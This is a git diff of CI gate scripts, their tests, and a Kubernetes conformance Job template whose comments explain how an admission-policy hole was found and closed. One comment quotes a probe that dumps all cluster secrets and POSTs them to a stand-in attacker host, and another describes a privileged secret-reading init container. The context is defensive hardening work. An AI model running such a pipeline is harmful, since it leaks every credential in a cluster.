@@ -214,6 +215,22 @@ case "${OUTCOME[gitea-settings]}" in
pass) ok "gitea-settings: green" ;;
esac
# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
# the tree under test and needs no tool or cluster, so there is no environment in which it
# "could not run". A guard against a silent, delayed, misattributed regression must not itself
# have a way to not-run.
case "${OUTCOME[decisions-log]}" in
fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
err " as a defect in the stage itself and block."
summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
BLOCK=1 ;;
pass) ok "decisions-log: green" ;;
esac
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
+8 -1
View File
@@ -42,9 +42,16 @@
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
# that an unwired credential cannot lock the repository.
#
# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
# the drift it exists to catch is still undetected.
#
# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
# detector sat inert for hours while a token existed and no secret did. The env var below still
# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
# the secret that would feed it cannot be created at all.
set -euo pipefail
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+130
View File
@@ -0,0 +1,130 @@
#!/usr/bin/env bash
# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
#
# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
# for every other open branch. A guard against a silent regression is itself worth nothing
# unless somebody has watched it reject the thing it claims to reject, so each case below
# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
# as ci/tests/gate-decision.test.sh, one layer down.
set -uo pipefail
REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
PASS=0 FAIL=0
ok() { printf ' ok %s\n' "$*"; PASS=$((PASS+1)); }
bad() { printf ' FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
mk_tree() {
local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
# REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
}
mk_entry() {
cat > "$1" <<ENTRY
---
date: $2
branch: chore/example
title: An example entry
---
## What changed
Enough prose here to clear the twenty-character body floor comfortably.
## What I verified
Enough prose here to clear the twenty-character body floor comfortably.
## What I did NOT verify
Enough prose here to clear the twenty-character body floor comfortably.
ENTRY
}
# run <dir> -> sets RC and OUT
run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
D="${TMP}/t"
echo "== 1. a well-formed tree passes"
mk_tree "$D"; run "$D"
[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
echo
echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
|| bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
|| bad "the message does not say the archive is frozen"
grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
|| bad "the message does not name the remedy"
echo
echo "== 3. a re-pin is a deliberate, accepted act"
mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
echo
echo "== 4. a missing pin is unverifiable, not green"
mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
echo
echo "== 5. entry naming"
for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
[ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
done
mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
echo
echo "== 6. frontmatter"
mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
for key in date branch title; do
mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
[ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
done
# The copied-template failure: the body was rewritten, the date never was.
mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
|| bad "accepted a date/filename disagreement"
echo
echo "== 7. the three required sections, and their bodies"
for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
[ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
done
# A heading with nothing under it is the way this floor gets defeated in practice.
mk_tree "$D"
python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
import sys,re
p=sys.argv[1]; s=open(p).read()
s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
open(p,'w').write(s)
PY
run "$D"
[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
echo
echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
echo
if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
+22 -1
View File
@@ -36,7 +36,13 @@ REPO="${TMP}/repo"; mkdir -p "$REPO"
cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
# One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
for stage in spec-immutability lint l0 render-golden l1 conformance; do
# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
for stage in spec-immutability decisions-log lint l0 render-golden l1 gitea-settings conformance; do
cat > "${CI}/${stage}.sh" <<'STUB'
#!/usr/bin/env bash
n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
@@ -184,6 +190,21 @@ assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
echo
echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
# if one is ever reported it is a defect in the stage, and the gate must not soften it into
# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
run_gate STAGE_RC_decisions_log=1
assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
run_gate STAGE_RC_decisions_log=3
assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
echo
if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
+51 -12
View File
@@ -25,20 +25,59 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
commented with the test/requirement that needs it — only as the matching fault-injection
test lands. This is a **privileged test identity**: never reused by workloads, its own
audit item.
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
commit under test; artifacts leave over stdout. Its header is the authority on the
substitution tokens and the admission constraints it satisfies, and records the
`initContainers` hole that was found and closed alongside it — read it before editing
either file.
- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
file in the image rather than an inline script in the Job precisely so admission can pin
it: a policy cannot tell the committed script from an attacker's when both are just `args`
on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
honoured — a URL taken from env would let the trigger choose which repository's code runs
as `conformance-runner`. This branch's Job depends on that interface:
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
## Flow
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
trigger with narrow rights: create Job + read its logs/status — *not* a broad
kubeconfig).
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
`./run.sh` under `conformance-runner`.
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
their paths) and enforces the merge / phase-exit gate on them.
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
the suite runs at the commit under test or not at all. The read-only Gitea credential
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
`results`.
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
decodes it from `kubectl logs` and must make all five completeness checks listed above
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
of decoding to plausible garbage.
## Prerequisites before this Job can run at all
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
`token`: a **read-only** Gitea token for this repository. Never a write token or a
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
before this template is usable; its digest is what the trigger substitutes. Contract the
image MUST meet, because the Job and the admission policy both depend on it:
- bash, git, python3, chainsaw and kubectl on `PATH`;
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
uid in the Containerfile means the Job will not start;
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
that exact path, so an image without it cannot run the clone step and no other path will
be admitted.
## Phase 0
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
+270 -35
View File
@@ -1,23 +1,175 @@
# =============================================================================
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
#
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
# CI collects, and enforces the merge / phase-exit gate on the outcome.
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
# create a permanent Job object and fight the trigger for ownership.
#
# Two invocation shapes (CI sets args):
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
# * PHASE EXIT: ./run.sh --layer all (full suite)
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
#
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
# Chosen = a shared results emptyDir + a terminating log stream, with an
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
# results volume (or scrapes the pod log, which echoes their paths).
# -----------------------------------------------------------------------------
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
# -----------------------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
# ONLY: exactly one container on a digest-pinned conformance-runner image,
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
# host namespaces, non-root with privilege escalation off, and — the constraint that
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
#
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
# So the git credential CANNOT be a projected/secret volume, and the init container
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
# BY SECRET NAME ONLY — no token literal ever appears in this file;
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
# readOnlyRootFilesystem stays true without a third volume and without subPath
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
# by the non-root runner).
#
# Verify before changing anything here:
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
# --resource <rendered job> \
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
# -----------------------------------------------------------------------------
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
# never examined, so the exact escalation the policy exists to stop was reachable one
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
# compliant:
#
# * this template with ONLY the init container's args replaced by
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
# * and (the coordinator's independent reproduction) a `privileged: true`
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
#
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# Closed by new rules in that policy, authorised by the coordinator in this PR
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
# fit a Job, not to stop a hole being closed):
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
# container, on the digest-pinned runner image, `command:
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
# not privileged. The clone logic moved OUT of this manifest and into the image for
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
# script had to stop being caller-supplied data. It stays reviewable as
# conformance/incluster/conformance-clone.
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
# verified here, and the rule costs nothing if it is true.
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
# sources it before running a non-interactive script. Names are allowlisted per container;
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
# environment-specific, and conformance-runner can already read this namespace's Secrets
# through its own RBAC, so pinning the source would buy nothing).
#
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
# `envfrom-whole-secret` — so they stay failing.
#
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
# committed shape" policy is only as good as its enumeration of every field that can carry
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
# does, that is the finding, not an oversight to work around.
#
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
#
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
# that belongs to a script — a trap this file walked into while the clone logic was still an
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
# with a two-token sed, nothing cleverer:
#
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
#
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
# are committed literals, so the substitution cannot repoint the image at another
# repository, and the template still satisfies the policy's image pattern before
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
# or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
# file be handed to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
# -----------------------------------------------------------------------------
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
#
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
#
# so:
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
#
# The first three are measured working by the image build (PR #18); the last two are measured
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
# The committed default below is the narrowest shape that works.
#
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
# security boundary should not encode which toolchain an image happens to ship, and the failure
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
# -----------------------------------------------------------------------------
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
# complete artifact set — which a bare blob would, because base64 decodes a truncated
# stream to plausible garbage without complaint. See the block comment above
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
#
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
# transport is the pod's log, so the Job must finish while that log still exists.
# =============================================================================
apiVersion: batch/v1
kind: Job
@@ -28,7 +180,10 @@ metadata:
app.kubernetes.io/part-of: conformance
spec:
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
ttlSecondsAfterFinished: 3600
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
template:
metadata:
labels:
@@ -37,38 +192,118 @@ spec:
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
restartPolicy: Never
securityContext:
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
# alone only *rejects* a root image, it does not choose a uid, and the runner image
# is built by a separate task (plan §5 step 1). 65532 is the conventional
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
# emptyDirs group-writable for that uid.
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile: { type: RuntimeDefault }
containers:
- name: chainsaw
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
image: ghcr.io/kyverno/chainsaw:v0.2.12
workingDir: /workspace/conformance
# The suite repo is delivered into /workspace (git clone init-container or
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
command: ["./run.sh"]
# CI overrides args per invocation shape:
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
# ["--layer", "all", "--strict-coverage"] (phase exit)
args: ["--layer", "all", "--strict-coverage"]
initContainers:
# ---------------------------------------------------------------------
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
#
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
# conformance/incluster/conformance-clone and is baked into the runner image at
# /usr/local/bin/conformance-clone. That is what makes the init container
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
# `args: [<script>]`, no admission policy could distinguish the committed script
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
# pins this container to that one path with NO args, so it carries no
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
# and for why the repository URL is hardcoded THERE rather than passed in env.
#
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
# is not 40 hex characters before it touches the network.
# ---------------------------------------------------------------------
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONF_ROOT
value: /workspace/conformance
- name: CONFORMANCE_GIT_SHA
value: "@@CONFORMANCE_GIT_SHA@@"
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
# READ-ONLY Gitea token with read access to this one repository — never a write
# token, never a deploy key with push. Keys: `username`, `token`.
# An env var is not a volume, which is how this coexists with the admission
# policy's workspace/results-only rule.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
# stays read-only and no third volume is needed.
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /workspace/conformance/_artifacts }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
resources:
requests: { cpu: 100m, memory: 128Mi }
limits: { cpu: "1", memory: 512Mi }
containers:
- name: chainsaw
# Digest-pinned under the conformance repository path — the admission policy
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
# (+ kubectl, git, python3, bash); see plan §5 step 1.
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
workingDir: /workspace/src/conformance
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
command: ["./run.sh"]
# Replaced wholesale by the trigger per invocation shape (see the header).
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
args: ["--layer", "l2,l3"]
env:
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
# artifact tree onto the `results` volume. It cannot live at its default
# conformance/_artifacts, because a volume mounted inside the clone target
# would make that directory non-empty and `git clone` would refuse it.
- name: CONF_ARTIFACTS
value: /results
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
# base64 tar over an operator's terminal.
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
# node without starving the suite.
resources:
requests: { cpu: 250m, memory: 512Mi }
limits: { cpu: "2", memory: 2Gi }
